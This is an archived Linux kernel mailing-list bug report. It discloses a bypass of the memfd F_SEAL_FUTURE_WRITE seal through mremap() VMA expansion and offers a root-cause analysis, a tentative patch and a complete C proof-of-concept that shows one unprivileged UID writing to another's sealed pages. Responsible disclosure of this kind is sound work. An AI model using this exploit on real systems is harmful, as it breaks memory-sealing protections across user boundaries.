mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
@ 2026-11-07  3:07 Junyoung Jang
  2026-11-07 13:17 ` David Hildenbrand (Arm)
  0 siblings, 1 reply; 4+ messages in thread
From: Junyoung Jang @ 2026-11-07  3:07 UTC (permalink / raw)
  To: Andrew Morton, Liam R . Howlett, Lorenzo Stoakes, Hugh Dickins,
	David Hildenbrand
  Cc: Vlastimil Babka, Jann Horn, Pedro Falcato, Baolin Wang, linux-mm,
	linux-kernel, Junyoung Jang

Hello,

I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
holding a one-page shared writable memfd mapping created before the seal can
use mremap() after the seal to gain writable access to additional file pages.

In the accompanying two-UID reproducer, the second page belongs to a memfd
created by a different unprivileged user. While a new writable mmap() and
pwrite() to that second page both fail with -EPERM, the mremap() path
succeeds and modifies the page's contents.

Affected tree tested:

- Linux 7.4.0-rc1-gd48723711bae, built directly from upstream commit
  d48723711bae9b8cdc56719c448ba42fef28cbee using x86_64_defconfig.
- A second image built from the same commit with the proposed mm/mremap.c
  diff, reported by uname as 7.4.0-rc1-gd48723711bae-dirty.
- Each before/after pair was booted in QEMU with the same statically
  linked C PoC.

Root cause:

The missing seal check is in mm/mremap.c:check_prep_vma() (lines 1808-1872
of the tested commit). mmap() calls memfd_check_seals_mmap() at
mm/mmap.c:499; for F_SEAL_FUTURE_WRITE, mm/memfd.c:384-385 rejects a
new shared writable mapping with EPERM. check_prep_vma() has no equivalent
check before it permits a larger mapping.

For the PoC's old_len=0 call, this condition at mm/mremap.c:1819 only
rejects duplication of a non-shared VMA:

    if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {

It is false for the PoC's MAP_SHARED VMA. check_prep_vma() then checks
VMA bounds and expansion limits and returns 0 at mm/mremap.c:1872 without
checking vma->vm_file for write seals. For this zero-length call,
expand_vma() moves the VMA and reaches copy_vma_and_data(), which calls
copy_vma() with the larger new_len (mm/mremap.c:1293-1295):

    new_vma = copy_vma(&vma, vrm->new_addr, vrm->new_len, new_pgoff,
                       new_anon_pgoff, &pmc.need_rmap_locks,
                       vrm->flags & MREMAP_DONTUNMAP);

copy_vma() can duplicate the original VMA and extend its range
(mm/vma.c:2052-2055), retaining VM_WRITE and VM_MAYWRITE. The newly
covered second memfd page is writable despite F_SEAL_FUTURE_WRITE.
Ordinary expansion with old_len=one page also succeeded on the unpatched
kernel. A read-only shared mapping with VM_MAYWRITE can likewise be
expanded and then changed to PROT_WRITE with mprotect().

Impact:

This allows a process to write to file pages outside its pre-seal mapping
across a UID boundary, affecting scenarios where a memfd owner grants
limited writable access to a specific range before sealing and relies on
F_SEAL_FUTURE_WRITE to prevent future writable mappings of other pages.

Reproducer summary:

1. Start as root only to set up two distinct unprivileged UIDs (10002 for
   the owner, 10001 for the writer); both drop all capabilities.
2. UID 10002 creates a two-page memfd and initializes page two to 'A'.
3. UID 10002 passes the fd to UID 10001 via SCM_RIGHTS.
4. UID 10001 maps only page one with MAP_SHARED and PROT_WRITE.
5. UID 10002 adds F_SEAL_FUTURE_WRITE.
6. UID 10001 confirms a fresh writable mmap() of page two and pwrite() to it
   both fail with -EPERM.
7. UID 10001 calls mremap(old_addr, 0, 2 * page_size, MREMAP_MAYMOVE),
   writes 'Z' through the expanded mapping, and UID 10002 reads 'Z' back
   from the second file page.

Build and run:
  $ cc -O0 -g -Wall -Wextra -Werror -static memfd_future_write_mremap_poc.c -o poc
  $ sudo ./poc
  writer uid=10001; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=63
  owner uid=10002; file page 2=Z; size=8192; result=255

Suggested fix direction:

I believe mremap() needs to check the memfd write seal before duplicating
(old_len=0) or expanding (new_len > old_len) a shared VMA that has
VM_MAYWRITE.

I tested the rough diff below in check_prep_vma() on the same commit and
confirmed that it blocks the reproducer (mremap fails with -EPERM). However,
I am sending this as a bug report rather than a formal [PATCH] because I am
unsure about potential side effects:

1. Because a PROT_READ shared mapping with VM_MAYWRITE could be expanded and
   later made writable via mprotect(), the diff temporarily sets VMA_WRITE_BIT
   on a local flags copy to force memfd_check_seals_mmap() to return -EPERM.
   However, this rejects legitimate read-only mremap() expansions outright,
   whereas mmap() would normally allow a read-only mapping and simply clear
   VM_MAYWRITE.
2. I am not certain whether check_prep_vma() is the right place regarding
   locking/synchronization against a concurrent F_ADD_SEALS call.

I would appreciate your guidance on the proper way to handle this, or feel
free to take it from here:

diff --git a/mm/mremap.c b/mm/mremap.c
index 70b7264aa..6ed390ed4 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -14,6 +14,7 @@
 #include <linux/shm.h>
 #include <linux/ksm.h>
 #include <linux/mman.h>
+#include <linux/memfd.h>
 #include <linux/swap.h>
 #include <linux/capability.h>
 #include <linux/fs.h>
@@ -1807,6 +1808,17 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
 
 	old_len = vrm->old_len;
 	new_len = vrm->new_len;
+	if (new_len > old_len && vma->vm_file &&
+	    vma_test_all(vma, VMA_SHARED_BIT, VMA_MAYWRITE_BIT)) {
+		vma_flags_t flags = vma->flags;
+		int err;
+
+		/* A larger VMA could become writable via mprotect(). */
+		vma_flags_set(&flags, VMA_WRITE_BIT);
+		err = memfd_check_seals_mmap(vma->vm_file, &flags);
+		if (err)
+			return err;
+	}
 
 	/*
 	 * !old_len is a special case where an attempt is made to 'duplicate'

Reproducer code (memfd_future_write_mremap_poc.c):

// SPDX-License-Identifier: GPL-2.0
/*
 * Check whether a mapping created before F_SEAL_FUTURE_WRITE can be
 * duplicated over a second page by a different UID after the seal.
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/capability.h>
#include <linux/memfd.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define OWNER_UID 10002
#define WRITER_UID 10001

static int drop_to(uid_t uid)
{
	struct __user_cap_header_struct hdr = {
		.version = _LINUX_CAPABILITY_VERSION_3, .pid = 0,
	};
	struct __user_cap_data_struct caps[2] = { { 0 }, { 0 } };

	if (setgroups(0, NULL) || setresgid(uid, uid, uid) ||
	    setresuid(uid, uid, uid))
		return -1;
	if (getuid() != uid || geteuid() != uid ||
	    syscall(SYS_capget, &hdr, caps) ||
	    caps[0].effective || caps[1].effective)
		return -1;
	return 0;
}

static int send_fd(int sock, int fd)
{
	char data = 'F';
	char control[CMSG_SPACE(sizeof(fd))] = {};
	struct iovec iov = { .iov_base = &data, .iov_len = 1 };
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
	};
	struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);

	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
	memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
	return sendmsg(sock, &msg, 0) == 1 ? 0 : -1;
}

static int recv_fd(int sock)
{
	char data;
	char control[CMSG_SPACE(sizeof(int))] = {};
	struct iovec iov = { .iov_base = &data, .iov_len = 1 };
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
	};
	struct cmsghdr *cmsg;
	int fd;

	if (recvmsg(sock, &msg, 0) != 1 || data != 'F')
		return -1;
	cmsg = CMSG_FIRSTHDR(&msg);
	if (!cmsg || cmsg->cmsg_level != SOL_SOCKET ||
	    cmsg->cmsg_type != SCM_RIGHTS ||
	    cmsg->cmsg_len != CMSG_LEN(sizeof(fd)))
		return -1;
	memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
	return fd;
}

static int writer(int sock, size_t page)
{
	char *old, *expanded;
	char event;
	int fd;
	unsigned int result = 0;

	if (drop_to(WRITER_UID) || getuid() != WRITER_UID)
		return 1;
	result |= 1;
	fd = recv_fd(sock);
	if (fd < 0)
		return 2;
	old = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (old == MAP_FAILED)
		return 3;
	result |= 2;
	if (write(sock, "R", 1) != 1 || read(sock, &event, 1) != 1 ||
	    event != 'S')
		return 4;
	result |= 4;
	void *fresh = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED,
			   fd, page);
	if (fresh != MAP_FAILED) {
		munmap(fresh, page);
		fprintf(stderr, "writer: fresh writable mmap unexpectedly succeeded\n");
		return 5;
	}
	if (errno != EPERM) {
		fprintf(stderr, "writer: fresh writable mmap errno=%d\n", errno);
		return 6;
	}
	result |= 8;
	errno = 0;
	ssize_t written = pwrite(fd, "X", 1, page);
	if (written != -1 || errno != EPERM) {
		fprintf(stderr, "writer: pwrite returned %zd errno=%d\n",
			written, errno);
		return 7;
	}
	result |= 16;
	expanded = mremap(old, 0, 2 * page, MREMAP_MAYMOVE);
	if (expanded == MAP_FAILED) {
		fprintf(stderr, "writer: mremap errno=%d\n", errno);
		return 8;
	}
	expanded[page] = 'Z';
	result |= 32;
	if (write(sock, "Z", 1) != 1)
		return 9;
	printf("writer uid=%u; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=%u\n",
	       getuid(), result);
	fflush(stdout);
	munmap(expanded, 2 * page);
	munmap(old, page);
	close(fd);
	return result == 63 ? 0 : 10;
}

int main(void)
{
	int pair[2], fd, status;
	char event, byte = 0;
	struct stat st;
	pid_t pid;
	size_t page = sysconf(_SC_PAGESIZE);
	unsigned int result = 0;

	alarm(10);
	if (geteuid() != 0)
		return 77;
	if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, pair))
		return 1;
	pid = fork();
	if (pid < 0)
		return 2;
	if (!pid) {
		close(pair[0]);
		_exit(writer(pair[1], page));
	}
	close(pair[1]);
	if (drop_to(OWNER_UID) || getuid() != OWNER_UID)
		return 3;
	result |= 1;
	fd = memfd_create("seal-cross-uid", MFD_ALLOW_SEALING);
	if (fd < 0 || ftruncate(fd, 2 * page) ||
	    pwrite(fd, "A", 1, page) != 1)
		return 4;
	result |= 2;
	if (send_fd(pair[0], fd) || read(pair[0], &event, 1) != 1 ||
	    event != 'R')
		return 5;
	result |= 4;
	if (fcntl(fd, F_ADD_SEALS, F_SEAL_FUTURE_WRITE))
		return 6;
	result |= 8;
	if (write(pair[0], "S", 1) != 1)
		return 7;
	if (read(pair[0], &event, 1) != 1 || event != 'Z') {
		if (waitpid(pid, &status, 0) == pid && WIFEXITED(status))
			fprintf(stderr, "owner: writer exited %d before Z\n",
				WEXITSTATUS(status));
		return 7;
	}
	result |= 16;
	if (pread(fd, &byte, 1, page) != 1 || byte != 'Z')
		return 8;
	result |= 32;
	if (fstat(fd, &st) || st.st_size != (off_t)(2 * page))
		return 9;
	result |= 64;
	if (waitpid(pid, &status, 0) != pid ||
	    !WIFEXITED(status) || WEXITSTATUS(status))
		return 10;
	result |= 128;
	printf("owner uid=%u; file page 2=%c; size=%lld; result=%u\n",
	       getuid(), byte, (long long)st.st_size, result);
	fflush(stdout);
	return result == 255 ? 0 : 11;
}

Best regards,
Junyoung Jang <graypanda.inzag@gmail.com>

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-11-07 18:16 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-11-07  3:07 mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication Junyoung Jang
2026-11-07 13:17 ` David Hildenbrand (Arm)
2026-11-07 15:19   ` Junyoung Jang
2026-11-07 18:16     ` David Hildenbrand (Arm)

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®